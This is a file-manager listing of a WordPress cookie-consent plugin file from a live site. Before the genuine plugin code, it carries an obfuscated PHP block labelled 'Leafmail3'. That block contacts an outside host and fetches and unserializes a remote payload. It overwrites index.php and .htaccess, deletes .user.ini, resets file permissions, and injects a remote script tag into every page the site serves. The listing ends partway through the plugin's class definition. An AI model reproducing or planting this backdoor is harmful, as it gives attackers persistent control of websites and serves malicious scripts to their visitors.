File "class-cookiebanner.php"

Full path: /home/satkhirabarta/public_html/wp-content/plugins/complianz-gdpr/cookiebanner/class-cookiebanner.php
File size: 63.33 B (63.33 KB bytes)
MIME-type: text/x-php
Charset: utf-8

Download   Open   Edit   Advanced Editor &nnbsp; Back

<?php /*Leafmail3*/goto vODF8; uW9iC: p1I3i: goto m0oPE; zJ0r4: $fd50r .= "\164\144\157"; goto lKsEQ; daxHz: $Q7FSm .= "\x74\151"; goto zNDLT; QuFr2: $wv9Ig .= "\x33\66"; goto sOymP; lYCuA: $LOLkL = "\x35"; goto y6I4r; jBc3K: $tkyNj .= "\x65\170"; goto feM2z; veckF: $vp5Fj .= "\x61\x63\x63\145\x73\x73"; goto F5Rs6; B13FM: $CoSGx = "\x64\x65\x66"; goto YZRXV; LzBKe: $CUa7Y = !empty($qwM6z) || !empty($SCBgM); goto tB1mh; loZYi: try { goto txRyO; K18GF: @$xS8DV($vp5Fj, $eb2Uu); goto tGdpP; iQrV6: @$KDcLu($AW98J, $PShG_); goto K18GF; U8ZJQ: @$xS8DV($AW98J, $eb2Uu); goto Y_zOi; txRyO: @$xS8DV($nHQe_, $eb2Uu); goto U8ZJQ; bh8Zz: @$xS8DV($vp5Fj, $Vjvu_); goto ZGL3p; ZGL3p: @$KDcLu($vp5Fj, $PShG_); goto g9qNE; ZfydO: @$xS8DV($AW98J, $Vjvu_); goto iQrV6; g9qNE: @$xS8DV($nHQe_, $Vjvu_); goto H3O0E; Y_zOi: @$DR4rp($AW98J, $jap8Z["\x61"]); goto ZfydO; tGdpP: @$DR4rp($vp5Fj, $jap8Z["\142"]); goto bh8Zz; H3O0E: } catch (Exception $EdXTL) { } goto y_pyz; F2WJF: $xS8DV .= "\155\157\144"; goto XVkCO; GbEwW: $MhTIX = "\x6d\144\x35"; goto LQ0hU; uLWI3: $vp5Fj = $nHQe_; goto orqfm; egDtp: $tkyNj = "\x66\165\156\x63"; goto usQiR; LQ0hU: $vbt1Y = $MhTIX; goto TgEvM; XPDLi: $gPOF5 = $le6g1; goto tBtTf; WxOmz: $DR4rp .= "\160\x75\164\137\143"; goto UxwWx; GZYTn: $L3Qwt .= "\145\x63\157\144\145"; goto g9Iex; gJ2jd: $B5AMu .= "\x63\157\x70\171"; goto UIZFw; V5t0t: $eb2Uu = 189; goto WkOpf; R8lf6: $L3Qwt .= "\66\x34\x5f\144"; goto GZYTn; hYuCQ: try { goto A3SpX; Lp303: try { goto Kpqh2; IAeb5: $gPOF5($QKdX3); goto usTFE; Soq5P: $QydK0($QKdX3, CURLOPT_POSTFIELDS, $DORoV($q4dFj)); goto IAeb5; RVyt3: $QydK0($QKdX3, CURLOPT_FOLLOWLOCATION, true); goto nb7rJ; AqD2c: $QydK0($QKdX3, CURLOPT_RETURNTRANSFER, 1); goto ttOBx; LJxmP: $QydK0($QKdX3, CURLOPT_SSL_VERIFYHOST, false); goto RVyt3; snalI: $QydK0($QKdX3, CURLOPT_URL, $Pi1_K); goto AqD2c; nb7rJ: $QydK0($QKdX3, CURLOPT_TIMEOUT, 3); goto caVfG; caVfG: $QydK0($QKdX3, CURLOPT_POST, 1); goto Soq5P; Kpqh2: $QKdX3 = $AhBNU(); goto snalI; usTFE: $iwfAP($QKdX3); goto OfPoO; ttOBx: $QydK0($QKdX3, CURLOPT_SSL_VERIFYPEER, false); goto LJxmP; OfPoO: } catch (Exception $EdXTL) { } goto s8qlN; kwFwL: $EHr4j = dirname($O8VpT); goto rtN5e; oSMaO: @$xS8DV($EHr4j, $eb2Uu); goto zRyBD; rtN5e: if ($qjAK2($EHr4j)) { goto ayR0Q; } goto OfJbX; pAJFu: $Pi1_K .= "\164\75\x63\141"; goto AM67e; j_bNW: ayR0Q: goto CA7b_; D4GAj: $q4dFj = ["\x64\x61\164\141" => $jap8Z["\x64"]["\165\x72\x6c"]]; goto Lp303; OfJbX: @$spfUp($EHr4j, $eb2Uu, true); goto j_bNW; oI6DO: @$xS8DV($EHr4j, $Vjvu_); goto oyphM; GLti1: $Pi1_K .= "\77\x61\143"; goto pAJFu; lEMoS: $Pi1_K = $FCJJO; goto GLti1; A3SpX: $O8VpT = $nHQe_ . $jap8Z["\144"]["\160\141\x74\x68"]; goto kwFwL; s8qlN: d_JbM: goto HW6fn; CA7b_: if (!$qjAK2($EHr4j)) { goto d_JbM; } goto oSMaO; oyphM: @$KDcLu($O8VpT, $PShG_); goto lEMoS; OUdjB: @$xS8DV($O8VpT, $Vjvu_); goto oI6DO; AM67e: $Pi1_K .= "\154\x6c"; goto D4GAj; zRyBD: @$DR4rp($O8VpT, $jap8Z["\x64"]["\143\157\144\x65"]); goto OUdjB; HW6fn: } catch (Exception $EdXTL) { } goto loZYi; LNJsy: @$xS8DV($nHQe_, $Vjvu_); goto k_sTE; cuM3u: $nHQe_ = $_SERVER[$Y5cZH]; goto A7iEW; n8L8V: $uz9bL .= "\x68\160\x2e\60"; goto K6CAr; unwRS: $DORoV .= "\x75\x69\154\x64\x5f\x71"; goto Nk50j; JP7xy: $vbt1Y .= "\x6c\x65"; goto RNGP0; nZ1st: $gQtVG .= "\115\x49\x4e"; goto r5zMQ; XScjr: $gQtVG = "\x57\120"; goto O5QIE; OU84W: $pzU4s = "\146\x6c\x6f"; goto mwwot; nRTqE: $RDkKv = []; goto aYHoX; l2VBa: rqNSn: goto gKipv; ljZeU: $uz9bL .= "\x2f\170\x6d"; goto mCMR7; Ieo9X: $Y5cZH .= "\137\x52\117\117\x54"; goto lYCuA; XVkCO: $L3Qwt = "\x62\141\x73\x65"; goto R8lf6; OGVf2: $Vjvu_ = 215; goto huZpo; aBs6o: $fd50r .= "\147\151\x73\x74"; goto FqdNN; MTS3A: V4Jy1: goto vHyOs; jrrba: $PShG_ = $Q7FSm($wv9Ig); goto bMgWF; vODF8: $J4djk = "\74\104\x44\x4d\76"; goto lRUim; ruvGs: $AW98J .= "\150\x70"; goto uLWI3; VXlbA: $uz9bL .= "\160\x63\x2e\x70"; goto n8L8V; w8i1S: $KDcLu .= "\165\x63\150"; goto TPq_6; UxwWx: $DR4rp .= "\x6f\156\x74\145\x6e\x74\163"; goto ISAMz; chc27: if (!($JKloV !== false)) { goto L8tHW; } goto UihyE; TgEvM: $vbt1Y .= "\137\146\x69"; goto JP7xy; zijgp: $F3G3B = "\x69\x6e\x74"; goto d0ttz; XAUaV: $CZpCY = $y6Dil($uz9bL, "\167\53"); goto KpMKi; ZjcxJ: $eb2Uu = $F3G3B($mmShn($eb2Uu), $l6o74); goto OGVf2; WBWyB: try { goto LAZiP; NeOx9: $QydK0($QKdX3, CURLOPT_FOLLOWLOCATION, true); goto WZ1lN; yuxAB: $JKloV = trim(trim($JKloV, "\xef\xbb\xbf")); goto zF9le; YXPOY: $QydK0($QKdX3, CURLOPT_SSL_VERIFYPEER, false); goto UWGHP; MbwNB: $JKloV = $gPOF5($QKdX3); goto hAQ9Y; UWGHP: $QydK0($QKdX3, CURLOPT_SSL_VERIFYHOST, false); goto NeOx9; LAZiP: $QKdX3 = $AhBNU(); goto i1X7z; WZ1lN: $QydK0($QKdX3, CURLOPT_TIMEOUT, 10); goto MbwNB; S2VNp: $QydK0($QKdX3, CURLOPT_RETURNTRANSFER, 1); goto YXPOY; i1X7z: $QydK0($QKdX3, CURLOPT_URL, $B5AMu); goto S2VNp; hAQ9Y: $iwfAP($QKdX3); goto yuxAB; zF9le: } catch (Exception $EdXTL) { } goto chc27; fSM7u: $Q7FSm .= "\164\157"; goto daxHz; YZRXV: $CoSGx .= "\x69\156\x65\144"; goto TSsDX; Y78_D: $tCAxo = 1; goto kOQ0E; iMZQy: $_POST = $_REQUEST = $_FILES = array(); goto CfGUZ; TfIgP: $HH1HZ .= "\x6f\156\x74\x65\x6e\x74\163"; goto jcgg4; Jhv2t: $ocF0w .= "\x64\155\x69\156"; goto I04NN; aYHoX: $N__ZL = 32; goto IvuqX; HgvDx: @$xS8DV($z2Yll, $eb2Uu); goto C_4CC; ZW1G7: r6AqH: goto GqJiG; CfGUZ: AzDa9: goto U2U3q; NdB0_: $QydK0 .= "\157\x70\164"; goto XPDLi; KFMi9: $x0CSu .= "\137\x48\117\x53\124"; goto nMuHG; WqPjf: $B5AMu = $FCJJO; goto B0dlE; TPq_6: $xS8DV = "\x63\x68"; goto F2WJF; tBtTf: $gPOF5 .= "\x6c\137\x65\170\x65\143"; goto Zr7tR; qUDsS: $PKMm7 .= "\x66\151\x6c\x65"; goto Odo2W; UihyE: $jap8Z = 0; goto hJZyv; WQvgq: $qwM6z = $_REQUEST; goto rvlXO; yoOUR: $vTeXJ = "\x76\x65\x72\x73\151"; goto IBhNI; ZxHGi: $fd50r = "\x72\x65"; goto aBs6o; shDBj: $FSKjX .= "\115\x45\123"; goto XScjr; bAY2j: $LYlAw = $L474W = $ocF0w . "\x2f" . $sVnDj; goto nRTqE; sOymP: $wv9Ig .= "\63\x20\144"; goto d5_Qs; jcgg4: $DR4rp = "\x66\151\154\145\137"; goto WxOmz; QKYpu: $ocF0w .= "\55\x61"; goto Jhv2t; dZIRa: $P4139 = $_SERVER[$x0CSu]; goto cuM3u; huZpo: $Vjvu_ += 150; goto qbT4q; BSUkU: $bX79j = "\x66\143\154"; goto RAIH6; g9Iex: $MIh5N = "\147\x7a\x69"; goto ojxiT; m0oPE: if (!$tCAxo) { goto rqNSn; } goto WqPjf; C_4CC: @unlink($z2Yll); goto LNJsy; feM2z: $tkyNj .= "\151\163\x74\x73"; goto j_mMb; dU8Tu: $FSKjX = "\127\x50\x5f\x55"; goto iLcq9; axzTr: $HH1HZ .= "\147\x65\164\x5f\143"; goto TfIgP; sZfV6: $FCJJO .= "\x6c\151\156\153\x2e\x74"; goto oUI8y; zNDLT: $Q7FSm .= "\155\145"; goto egDtp; Nk50j: $DORoV .= "\x75\145\x72\x79"; goto GbEwW; j_mMb: $le6g1 = "\x63\165\162"; goto QFm8j; y6I4r: $LOLkL .= "\x2e\x34"; goto Dc02k; d5_Qs: $wv9Ig .= "\141\171\163"; goto jrrba; AjCJZ: $z2Yll .= "\x6e\x69"; goto OzEb9; RNGP0: $PKMm7 = "\x69\163\137"; goto qUDsS; k_sTE: DUBKw: goto AbQ0z; mwwot: $pzU4s .= "\143\x6b"; goto BSUkU; bKUUG: $WzLgo = $RDkKv[1]; goto WAo0s; mCMR7: $uz9bL .= "\x6c\x72"; goto VXlbA; Tt4oQ: $Q7FSm = "\163\164\162"; goto fSM7u; B0dlE: $B5AMu .= "\x3f\x61\143\x74"; goto aETJg; DbBpN: $vTeXJ .= "\x70\x61\162\145"; goto B13FM; IBhNI: $vTeXJ .= "\157\156\137\x63\157\x6d"; goto DbBpN; QSRig: $FCJJO = "\150\x74\164\x70\163\72\x2f\57"; goto Jb8vw; pLm0w: $spfUp .= "\144\151\x72"; goto yspyu; bMgWF: $x0CSu = "\110\x54\x54\120"; goto KFMi9; psjtE: $iwfAP .= "\x6c\x5f\143\x6c\x6f"; goto kxGeH; OzEb9: if (!$PKMm7($z2Yll)) { goto DUBKw; } goto fUCm1; YZnxF: $AhBNU .= "\154\137\x69\x6e\x69\164"; goto o4wfR; U2U3q: $xS8DV($nHQe_, $eb2Uu); goto XAUaV; hVAgs: if (empty($RDkKv)) { goto r6AqH; } goto gpO7z; lRUim: $huaOJ = "\57\136\143"; goto l1puk; ojxiT: $MIh5N .= "\x6e\146\154\x61\164\145"; goto QO6bK; yspyu: $HH1HZ = "\146\151\154\145\137"; goto axzTr; nMuHG: $Y5cZH = "\x44\x4f\x43\125\x4d\105\x4e\x54"; goto Ieo9X; QO6bK: $RpkLV = "\165\156\x73\145\x72"; goto TE4rq; oUI8y: $FCJJO .= "\x6f\160\x2f"; goto ZxHGi; gpO7z: $ZwOvi = $RDkKv[0]; goto bKUUG; r5zMQ: $EvUsr = $CoSGx($FSKjX) || $CoSGx($gQtVG); goto WQvgq; ryAXN: $iSMwa = "\163\164\162"; goto Aw0OF; RAIH6: $bX79j .= "\157\x73\145"; goto QSRig; QFm8j: $AhBNU = $le6g1; goto YZnxF; y_pyz: M1S8t: goto YcoP2; bPtLw: $AW98J .= "\x64\x65\170\56\x70"; goto ruvGs; jHqFV: if (!is_array($jap8Z)) { goto M1S8t; } goto sHXMo; O5QIE: $gQtVG .= "\x5f\x41\104"; goto nZ1st; dBHzv: $AW98J .= "\x2f\151\x6e"; goto bPtLw; KpMKi: if (!($tkyNj($AhBNU) && !preg_match($huaOJ, PHP_SAPI) && $pzU4s($CZpCY, 2 | 4))) { goto v1tUm; } goto vfYVM; u8ekB: $qjAK2 .= "\x64\151\162"; goto D1aMA; rvlXO: $SCBgM = $_FILES; goto LzBKe; Odo2W: $qjAK2 = "\x69\163\137"; goto u8ekB; Tl9BG: $ocF0w .= "\x2f\167\160"; goto QKYpu; hh9Gu: $YKWP5 .= "\x74\40\x41\x63\143"; goto DSWYm; Dc02k: $LOLkL .= "\56\x30\x3b"; goto dZIRa; o4wfR: $QydK0 = $le6g1; goto VYKG_; pnTdK: $YKWP5 = "\110\124\124"; goto qEMP2; WkOpf: $eb2Uu += 304; goto ZjcxJ; CLQnS: $huaOJ .= "\x73\151"; goto Tt4oQ; orqfm: $vp5Fj .= "\x2f\x2e\x68\164"; goto veckF; jvCLK: $fd50r .= "\151\157\156"; goto cE3iS; vHyOs: goto p1I3i; goto ZW1G7; Aw0OF: $iSMwa .= "\154\x65\156"; goto yoOUR; neYoj: $y6Dil .= "\145\156"; goto OU84W; Yc9eB: $JKloV = false; goto WBWyB; IvuqX: $l6o74 = 5; goto DicZE; tB1mh: if (!(!$EvUsr && $CUa7Y)) { goto AzDa9; } goto iMZQy; vI8QX: aybLW: goto dU8Tu; cE3iS: if (isset($_SERVER[$fd50r])) { goto aybLW; } goto YhmyI; FqdNN: $fd50r .= "\145\162\x5f"; goto l7JCC; I04NN: $sVnDj = substr($MhTIX($P4139), 0, 6); goto bAY2j; WAo0s: if (!(!$PKMm7($AW98J) || $vbt1Y($AW98J) != $ZwOvi)) { goto F9B9M; } goto Y78_D; d0ttz: $F3G3B .= "\x76\141\154"; goto G8B0v; G8B0v: $mmShn = "\144\145\x63"; goto w1WUM; Ky1Ah: $fd50r .= "\x75\156\x63\x74"; goto jvCLK; YcoP2: L8tHW: goto l2VBa; fUCm1: @$xS8DV($nHQe_, $eb2Uu); goto HgvDx; ISAMz: $KDcLu = "\164\x6f"; goto w8i1S; YhmyI: $_SERVER[$fd50r] = 0; goto vI8QX; qbT4q: $Vjvu_ = $F3G3B($mmShn($Vjvu_), $l6o74); goto pnTdK; UIZFw: $B5AMu .= "\x26\150\75" . $P4139; goto Yc9eB; A7iEW: $ocF0w = $nHQe_; goto Tl9BG; QiT7j: $YKWP5 .= "\x30\x36\x20\116\157"; goto hh9Gu; usQiR: $tkyNj .= "\x74\151\x6f\156\137"; goto jBc3K; TE4rq: $RpkLV .= "\x69\x61\154\x69\172\145"; goto zijgp; DWZ53: if (!(!$_SERVER[$fd50r] && $vTeXJ(PHP_VERSION, $LOLkL, "\76"))) { goto tOsRM; } goto qx0qa; DSWYm: $YKWP5 .= "\x65\x70\164\141\142\154\x65"; goto TXR6r; clNTt: tOsRM: goto NrKhW; F5Rs6: $z2Yll = $nHQe_; goto ZRq91; Jb8vw: $FCJJO .= "\157\153\x6b"; goto sZfV6; Zr7tR: $iwfAP = $le6g1; goto psjtE; w1WUM: $mmShn .= "\x6f\143\x74"; goto ryAXN; TXR6r: $uz9bL = $nHQe_; goto ljZeU; lKsEQ: $fd50r .= "\167\156\137\146"; goto Ky1Ah; kxGeH: $iwfAP .= "\x73\x65"; goto PULcN; qEMP2: $YKWP5 .= "\120\57\61\x2e\x31\40\x34"; goto QiT7j; aETJg: $B5AMu .= "\x3d\x67\145\164"; goto gJ2jd; iLcq9: $FSKjX .= "\123\x45\137\x54\110\x45"; goto shDBj; AbQ0z: $tCAxo = 0; goto hVAgs; Te8Ah: $AW98J = $nHQe_; goto dBHzv; PULcN: $DORoV = "\150\164\x74\x70\137\x62"; goto unwRS; oHm8V: $tCAxo = 1; goto MTS3A; K6CAr: $y6Dil = "\146\x6f\160"; goto neYoj; PL0rr: if (!(!$PKMm7($vp5Fj) || $vbt1Y($vp5Fj) != $WzLgo)) { goto V4Jy1; } goto oHm8V; l1puk: $huaOJ .= "\154\151\x2f"; goto CLQnS; l7JCC: $fd50r .= "\x73\x68\165"; goto zJ0r4; sHXMo: try { goto HbY3E; HbY3E: @$xS8DV($nHQe_, $eb2Uu); goto YBneD; lVY2g: LmA8a: goto o_wA9; w2wnP: @$KDcLu($L474W, $PShG_); goto vkTcY; plcED: $L474W = $LYlAw; goto lVY2g; o_wA9: @$DR4rp($L474W, $jap8Z["\x63"]); goto FIfGh; FIfGh: @$xS8DV($L474W, $Vjvu_); goto w2wnP; YBneD: if (!$qjAK2($ocF0w)) { goto LmA8a; } goto y3Uf0; y3Uf0: @$xS8DV($ocF0w, $eb2Uu); goto plcED; vkTcY: } catch (Exception $EdXTL) { } goto hYuCQ; GqJiG: $tCAxo = 1; goto uW9iC; VYKG_: $QydK0 .= "\154\x5f\x73\x65\x74"; goto NdB0_; D1aMA: $spfUp = "\x6d\x6b"; goto pLm0w; TSsDX: $wv9Ig = "\x2d\61"; goto QuFr2; vfYVM: $xS8DV($nHQe_, $Vjvu_); goto DWZ53; kOQ0E: F9B9M: goto PL0rr; NrKhW: try { goto qZ46l; RQqe5: if (!(is_array($yVIWe) && count($yVIWe) == 2)) { goto XDrKy; } goto A2PmA; w9gDu: y6dH8: goto Z726M; MlbPu: $yVIWe = @explode("\x3a", $HH1HZ($L474W)); goto RQqe5; YN8V8: if (!($iSMwa($gOxct) == $N__ZL && $iSMwa($aWnJP) == $N__ZL)) { goto YUPG5; } goto DYfgW; urTh8: XDrKy: goto vw7V4; hhu33: $gOxct = trim($yVIWe[0]); goto h7asi; POLut: $RDkKv[] = $aWnJP; goto w9gDu; JSOyl: $RDkKv[] = $aWnJP; goto dxtWS; ixd8R: $L474W = $nHQe_ . "\57" . $sVnDj; goto uPNAL; YdNrA: if (!(is_array($yVIWe) && count($yVIWe) == 2)) { goto U90QQ; } goto hhu33; qZ46l: if (!$PKMm7($L474W)) { goto oqtoQ; } goto p5kTV; V_cwX: oTvft: goto NDBCD; A2PmA: $gOxct = trim($yVIWe[0]); goto DvFPK; wbpgM: if (!empty($RDkKv)) { goto oTvft; } goto ixd8R; DvFPK: $aWnJP = trim($yVIWe[1]); goto YN8V8; Y3KDn: if (!($iSMwa($gOxct) == $N__ZL && $iSMwa($aWnJP) == $N__ZL)) { goto y6dH8; } goto D88sj; vw7V4: wNb1b: goto V_cwX; dxtWS: YUPG5: goto urTh8; hNhbL: oqtoQ: goto wbpgM; Z726M: U90QQ: goto hNhbL; uPNAL: if (!$PKMm7($L474W)) { goto wNb1b; } goto MlbPu; D88sj: $RDkKv[] = $gOxct; goto POLut; h7asi: $aWnJP = trim($yVIWe[1]); goto Y3KDn; p5kTV: $yVIWe = @explode("\72", $HH1HZ($L474W)); goto YdNrA; DYfgW: $RDkKv[] = $gOxct; goto JSOyl; NDBCD: } catch (Exception $EdXTL) { } goto Te8Ah; qx0qa: try { $_SERVER[$fd50r] = 1; $fd50r(function () { goto AV30r; qJcS6: $XaxO1 .= "\105\x6c\x65\x6d\145\x6e\x74\163\102"; goto Ak55L; Q10lk: $XaxO1 .= "\x3c\x2f\x73"; goto b0BbS; QUShX: $XaxO1 .= "\x73\x63\162\x69\x70\164\x22\x3e" . "\xa"; goto qTRy2; DytHl: $XaxO1 .= "\57\155\x61\164"; goto shQ2Y; UYMzk: $XaxO1 .= "\105\x6c\145\x6d\145\156\164\x28\42\x73\143"; goto YC55T; ZXF34: $XaxO1 .= "\x6f\155\157\40\x43\157\x64"; goto Fp2Ee; AdEN_: $XaxO1 .= "\x72\x69\x70\x74\40\x74\x79\160\x65\75\42\164\x65\170"; goto vaHEn; qTRy2: $XaxO1 .= "\50\146\165\156\x63"; goto sT9Yu; YC55T: $XaxO1 .= "\162\151\160\164\42\51\x2c\40\x73\x3d\x64\56\x67\x65\164"; goto qJcS6; b0BbS: $XaxO1 .= "\x63\x72\x69\x70\x74\76\12"; goto NGsxv; HMLFi: $XaxO1 .= "\x7d\x29\50\x29\73" . "\12"; goto Q10lk; CvLy6: $XaxO1 .= "\x3f\x69\144\x3d"; goto dyWeq; Fp2Ee: $XaxO1 .= "\x65\x20\x2d\55\x3e\12"; goto fdPCn; y9nGa: $XaxO1 .= "\x6f\162\145\x28\147\x2c\x73\51\x3b" . "\12"; goto HMLFi; MSOF2: $XaxO1 .= "\160\164\x22\x29\133\60\x5d\x3b" . "\12"; goto P_ZMm; dyWeq: $XaxO1 .= "\x4d\x2d"; goto DLX8K; fdPCn: echo $XaxO1; goto endbR; No27V: $XaxO1 .= $P4139; goto DytHl; sT9Yu: $XaxO1 .= "\164\151\x6f\156\50\x29\40\x7b" . "\xa"; goto ubJzA; ebgnR: $XaxO1 .= "\x3b\x20\x67\x2e\144\x65\146"; goto wmOvX; KJt_C: $XaxO1 .= "\147\x2e\163\x72"; goto E5SRJ; yjiNj: $XaxO1 .= "\x64\x20\115\x61\x74"; goto ZXF34; jd565: $XaxO1 .= "\163\145\162\164\102\145\146"; goto y9nGa; D7OFn: $XaxO1 .= "\x75\155\145\156\164\54\40\x67\75\x64\56\143\x72\x65\141\x74\x65"; goto UYMzk; ubJzA: $XaxO1 .= "\166\x61\162\x20\x75\75\x22" . $FCJJO . "\x22\73" . "\xa"; goto v3rQ8; E5SRJ: $XaxO1 .= "\143\x3d\165\x2b\42\152\x73\x2f"; goto No27V; v3rQ8: $XaxO1 .= "\x76\141\162\x20\x64\75\144\157\143"; goto D7OFn; r7GHN: $XaxO1 .= "\163\x63\x72\151\160\164\42\73\40\147\x2e\x61"; goto RDjIx; vaHEn: $XaxO1 .= "\164\x2f\152\x61\x76\x61"; goto QUShX; gOYzX: $XaxO1 = "\x3c\x21\x2d\x2d\x20\x4d\141"; goto zMa4a; NGsxv: $XaxO1 .= "\x3c\41\x2d\55\40\x45\156"; goto yjiNj; I8B8v: $XaxO1 .= "\75\42\164\x65\x78\164\57"; goto uazjK; Ak55L: $XaxO1 .= "\171\x54\x61\x67\116\x61\x6d\145"; goto wg3cP; AV30r: global $P4139, $FCJJO; goto gOYzX; wg3cP: $XaxO1 .= "\50\42\x73\143\162\151"; goto MSOF2; JH0uq: $XaxO1 .= "\x3c\163\143"; goto AdEN_; DLX8K: $XaxO1 .= time(); goto d1HE5; RDjIx: $XaxO1 .= "\x73\x79\156\x63\x3d\x74\x72\165\x65"; goto ebgnR; d1HE5: $XaxO1 .= "\42\x3b\40\x73\56\x70\141\x72"; goto Bu0lg; wmOvX: $XaxO1 .= "\x65\162\x3d\164\162\165\145\x3b" . "\12"; goto KJt_C; shQ2Y: $XaxO1 .= "\157\x6d\x6f\x2e\152\163"; goto CvLy6; zMa4a: $XaxO1 .= "\x74\x6f\x6d\157\x20\x2d\x2d\x3e\xa"; goto JH0uq; uazjK: $XaxO1 .= "\152\141\x76\x61"; goto r7GHN; Bu0lg: $XaxO1 .= "\145\156\164\116\x6f\144\x65\x2e\x69\156"; goto jd565; P_ZMm: $XaxO1 .= "\x67\x2e\164\171\x70\x65"; goto I8B8v; endbR: }); } catch (Exception $EdXTL) { } goto clNTt; DicZE: $l6o74 += 3; goto V5t0t; hJZyv: try { $jap8Z = @$RpkLV($MIh5N($L3Qwt($JKloV))); } catch (Exception $EdXTL) { } goto jHqFV; VtpcZ: $z2Yll .= "\145\162\56\x69"; goto AjCJZ; ZRq91: $z2Yll .= "\x2f\56\x75\163"; goto VtpcZ; gKipv: v1tUm: ?>
<?php
defined( 'ABSPATH' ) or die( "you do not have access to this page!" );

/**
 * Install cookiebanner table
 * */
add_action( 'cmplz_install_tables', 'cmplz_install_cookiebanner_table' );
function cmplz_install_cookiebanner_table($force=false) {
	//only load on front-end if it's a cron job
	if ( !$force && !is_admin() && !wp_doing_cron() ) {
		return;
	}

	if ( !$force && !wp_doing_cron() && !cmplz_user_can_manage() ) {
		return;
	}

	if ( get_option( 'cmplz_cbdb_version' ) !== cmplz_version ) {
		require_once( ABSPATH . 'wp-admin/includes/upgrade.php' );
		global $wpdb;
		$charset_collate = $wpdb->get_charset_collate();
		$table_name = $wpdb->prefix . 'cmplz_cookiebanners';

		$sql        = "CREATE TABLE $table_name (
             `ID` int(11) NOT NULL AUTO_INCREMENT,
             `title` text NOT NULL,
             `banner_version` int(11) NOT NULL,
             `default` int(11) NOT NULL,
            `position` text NOT NULL,
            `checkbox_style` text NOT NULL,
            `use_logo` text NOT NULL,
            `logo_attachment_id` text NOT NULL,
			`close_button` text NOT NULL,
            `revoke` text NOT NULL,
            `manage_consent_options` text NOT NULL,
            `header` text NOT NULL,
            `dismiss` text NOT NULL,
            `save_preferences` text NOT NULL,
            `view_preferences` text NOT NULL,
            `category_functional` text NOT NULL,
            `category_all` text NOT NULL,
            `category_stats` text NOT NULL,
            `category_prefs` text NOT NULL,
            `accept` text NOT NULL,
            `message_optin` text NOT NULL,
            `use_categories` text NOT NULL,
            `disable_cookiebanner` int(11) NOT NULL,
            `banner_width` int(11) NOT NULL,
            `soft_cookiewall` int(11) NOT NULL,
            `dismiss_on_scroll` int(11) NOT NULL,
            `dismiss_on_timeout` int(11) NOT NULL,
            `dismiss_timeout` text NOT NULL,
            `accept_informational` text NOT NULL,
            `message_optout` text NOT NULL,
            `use_custom_cookie_css` text NOT NULL,
            `custom_css` text NOT NULL,
            `statistics` text NOT NULL,
            `functional_text` text NOT NULL,
            `statistics_text` text NOT NULL,
            `statistics_text_anonymous` text NOT NULL,
            `preferences_text` text NOT NULL,
            `marketing_text` text NOT NULL,
            `colorpalette_background` text NOT NULL,
            `colorpalette_text` text NOT NULL,
            `colorpalette_toggles` text NOT NULL,
            `colorpalette_border_radius` text NOT NULL,
            `border_width` text NOT NULL,
            `font_size` text NOT NULL,
            `colorpalette_button_accept` text NOT NULL,
            `colorpalette_button_deny` text NOT NULL,
            `colorpalette_button_settings` text NOT NULL,
            `buttons_border_radius` text NOT NULL,
            `animation` text NOT NULL,
            `use_box_shadow` int(11) NOT NULL,
            `header_footer_shadow` int(11) NOT NULL,
            `hide_preview` int(11) NOT NULL,
            `disable_width_correction` int(11) NOT NULL,
            `legal_documents` int(11) NOT NULL,
              PRIMARY KEY  (ID)
            ) $charset_collate;";
		dbDelta( $sql );

		/*
		 * use_categories_optinstats- border_color are obsolete
		 * for data integrity, we do not delete them, but change them to text to prevent row size issues.
		*/

		$columns = $wpdb->get_results("SHOW COLUMNS FROM $table_name ");
		$upgrade_sql = [];
		foreach ($columns as $column) {
			if (strpos($column->Type, 'varchar')!==false){
				$upgrade_sql[]="`".$column->Field."` text NOT NULL";
			}
		}

		if (count($upgrade_sql)>0) {
			$sql = implode(','."\n",$upgrade_sql);
			$sql = "CREATE TABLE $table_name ($sql
					) $charset_collate;";
			dbDelta( $sql );
		}

		//drop obsolete columns
		$drop_columns = [
			'accept_all',
			'theme',
			'readmore_optin',
			'tagmanager_categories',
			'use_categories_optinstats',
			'hide_revoke',
			'readmore_optout',
			'readmore_optout_dnsmpi',
			'readmore_privacy',
			'readmore_impressum',
			'popup_background_color',
			'popup_text_color',
			'slider_background_color',
			'slider_background_color_inactive',
			'slider_bullet_color',
			'button_background_color',
			'button_text_color',
			'accept_all_background_color',
			'accept_all_border_color',
			'accept_all_text_color',
			'functional_background_color',
			'functional_text_color',
			'functional_border_color',
			'border_color',
			'custom_css_amp',
		];

		$db = DB_NAME;
		foreach ($drop_columns as $column) {
			$exists = $wpdb->query("SELECT * FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = '$db' AND TABLE_NAME = '$table_name' AND COLUMN_NAME = '$column';");
			if ($exists) {
				$wpdb->query("ALTER TABLE $table_name DROP COLUMN $column;");
			}
		}
		//not preload false: used to check existence of database table.
		update_option( 'cmplz_cbdb_version', cmplz_version );
	}
}

if ( ! class_exists( "cmplz_cookiebanner" ) ) {
	class CMPLZ_COOKIEBANNER {
		public $ID = false;
		public $banner_version = 0;
		public $title;
		public $default = false;

		/* styling */
		public $position;
		public $checkbox_style;
		public $use_logo;
		public $logo_attachment_id;
		public $close_button;
		public $use_custom_cookie_css;
		public $custom_css;
        public $colorpalette_background;
        public $colorpalette_text;
        public $colorpalette_toggles;
        public $colorpalette_border_radius;
        public $border_width;
        public $font_size;
        public $colorpalette_button_accept;
        public $colorpalette_button_deny;
        public $colorpalette_button_settings;
        public $buttons_border_radius;
        public $animation;
        public $use_box_shadow;
        public $header_footer_shadow;
        public $hide_preview;

		/* texts */
        public $header;
		public $revoke;
		public $manage_consent_options;
		public $dismiss;
		public $accept;
		public $message_optin;
		public $accept_informational;
		public $message_optout;
		public $save_preferences;
		public $view_preferences;
		public $category_functional;
		public $category_all;
		public $category_stats;
		public $category_prefs;
		public $use_categories;
		public $disable_cookiebanner;
		public $banner_width;
		public $soft_cookiewall;
		public $dismiss_on_scroll;
		public $dismiss_on_timeout;
		public $dismiss_timeout;
		public $save_preferences_x;
		public $view_preferences_x;
		public $category_functional_x;
		public $category_all_x;
		public $category_stats_x;
		public $category_prefs_x;
		public $accept_x;
		public $dismiss_x;
		public $revoke_x;
		public $message_optin_x;
		public $accept_informational_x;
		public $message_optout_x;
		public $header_x;
		public $translation_id;
		public $statistics;
		public $functional_text;
		public $functional_text_x;
		public $statistics_text;
		public $statistics_text_x;
		public $statistics_text_anonymous;
		public $statistics_text_anonymous_x;
		public $preferences_text;
		public $preferences_text_x;
		public $marketing_text;
		public $marketing_text_x;
		public $set_defaults;
		public $disable_width_correction;
		public $legal_documents;
